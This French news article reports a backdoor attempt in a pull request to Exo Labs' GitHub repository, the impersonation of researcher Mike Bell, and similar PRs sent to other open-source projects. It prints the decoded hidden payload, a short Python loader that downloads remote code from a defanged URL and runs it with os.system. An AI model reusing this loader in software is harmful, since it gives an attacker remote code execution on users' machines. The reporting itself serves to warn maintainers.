Les projets GitHub ont été ciblés par des commits et des pull request malveillants, dans le but d’injecter des portes dérobées dans ces projets.
Plus récemment, le référentiel GitHub d’Exo Labs, une startup d’IA et d’apprentissage automatique, a été ciblé par l’attaque, ce qui a laissé beaucoup de personnes s’interroger sur les véritables intentions de l’attaquant.
Un « PR à l’air innocent » surpris en train d’injecter une porte dérobée
Mardi, Alex Cheema, co-fondateur d’EXO Labs a averti tout le monde d’un changement de code « d’apparence innocente » soumis au référentiel GitHub d’EXO.
La demande d’extraction intitulée « clarifier l’exigence mlx pour les modèles deepseek » a tenté de modifier le modèles.py Fichier Python dans la base de code de l’Exo en y ajoutant une séquence de nombres :
Tentative de porte dérobée sur @exolabs à travers un PR à l’air innocent.
Lisez chaque ligne de code. Restez en sécurité. pic.twitter.com/M0WHoCF5Mu
— Alex Cheema – e/acc (@alexocheema) 12 novembre 2024
Ce sont des nombres Unicode, chacun représentant un caractère. En d’autres termes, le code Python en texte brut a été converti en sa forme équivalente aux chiffres via une technique simple utilisée par l’utilisateur soumettant la modification du code.
Cette séquence de caractères, « 105, 109, 112, 111, 114, 116,… » se traduit par l’extrait de code suivant (URL modifiée pour des raisons de sécurité) :
import os
import urllib
import urllib.request
x = urllib.request.urlopen("hxxps://www.evildojo[.]com/stage1payload")
y = x.read()
z = y.decode("utf8")
x.close()
os.system(z)
Le morceau de code plutôt simple tente de se connecter à evildojo(.)com et, comme il apparaît, de télécharger la charge utile « stage1 ».
Si le changement de code avait été approuvé et fusionné dans le référentiel officiel d’EXO, ce qui n’a pas été le cas, toute personne utilisant le produit pourrait finir par exécuter du code servi à distance par l’URL sur son système – et donc une porte dérobée fonctionnelle implantée.
Cependant, lors de l’accès par BleepingComputer, le lien renvoyait un 404 (Not Found) et, selon plusieurs autres personnes qui ont tenté d’accéder à l’URL, aucun contenu n’a jamais existé à cet emplacement depuis le début.
Qui est derrière tout cela et pourquoi ?
C’est là que les choses se compliquent et qu’il n’y a pas de réponse concluante en vue.
Le commit semble avoir été soumis par un utilisateur de GitHub, « evildojo666 », un compte qui a depuis été supprimé.
Le page archivée pour le nom d’utilisateur GitHub et le domaine evildojo(.)com, il s’agit de Mike Bell, chercheur en sécurité, hacker éthique et ingénieur logiciel basé au Texas, qui a constamment nié avoir quelque chose à voir avec ces commits.
Bell prétend que quelqu’un se fait passer pour lui, soumettant ces codes malveillants pour le salir.
Bell a en outre a déclaré que « il n’y a jamais eu de charge utile… pourquoi les gens continuent-ils de supposer qu’il y en avait ? »
En toute honnêteté, l’histoire de Bell s’additionne. N’importe qui peut créer facilement un compte GitHub en utilisant les détails et la photo de profil d’une autre personne, et commencer à soumettre des modifications de code et des demandes d’extraction à des projets, le tout sous le couvert d’une autre personne.
La page « stage1payload » inexistante sur le domaine de evildojo est un autre indicateur que, puisque le domaine n’a jamais diffusé de code malveillant en premier lieu, il s’agit probablement d’une campagne de diffamation contre le propriétaire du domaine, Mike Bell.
Un autre compte GitHub désormais supprimé « image sombre666 » était identifié par Malcoreio, une plateforme d’analyse de malware et d’ingénierie inverse. Ce compte usurpait également l’identité de Bell et semblait participer à cet effort malveillant visant à distribuer des engagements de porte dérobée vers des projets open source.
« Pas moi, un imitateur. Notez que le compte a été supprimé. Je suis vraiment désolé que des gens soient entraînés dans une sorte de boeuf avec moi. » remarqué Bell sur le compte de l’imposteur.
De multiples projets ciblés
Les utilisateurs des médias sociaux, y compris ChrzanKonga noté que certains autres projets avaient été ciblés par différents comptes d’utilisateurs GitHub avec des engagements similaires.
Selon analyste des renseignements sur les menaces vx-underground« yt-dlp« , un téléchargeur audio et vidéo open source populaire a également été ciblé. Malcore a identifié au moins 18 cas de pull request identiques dirigées vers d’autres projets.
Au moment de la rédaction de cet article, BleepingComputer a observé que de nombreux commits malveillants de ce type et les comptes d’utilisateurs GitHub « muppet » associés, dont certains semblent être basés en Indonésie, ont été supprimés.
Ingénieur Google et responsable des événements technologiques, Bogdan Stanga a pu recréer la pull request pour tester les pré-soumissions Examinateur IAqui utilise GitHub Actions pour effectuer des révisions instantanées du code par rapport aux demandes d’extraction entrantes dans votre référentiel. Le changement du code de test a été immédiatement signalé par une alerte de « sécurité critique » par le réviseur :
L’incident, bien que détecté et écrasé dès le début, fait écho à l’attaque notable de la chaîne d’approvisionnement xz qui a récemment démontré comment du code malveillant pouvait être introduit dans des bibliothèques open source légitimes et très populaires par des acteurs néfastes.
Les responsables des projets open source sont invités à examiner attentivement les demandes d’extraction entrantes, via des outils automatisés et des examens approfondis du code humain, même si celles-ci semblent provenir de contributeurs de « bonne foi ».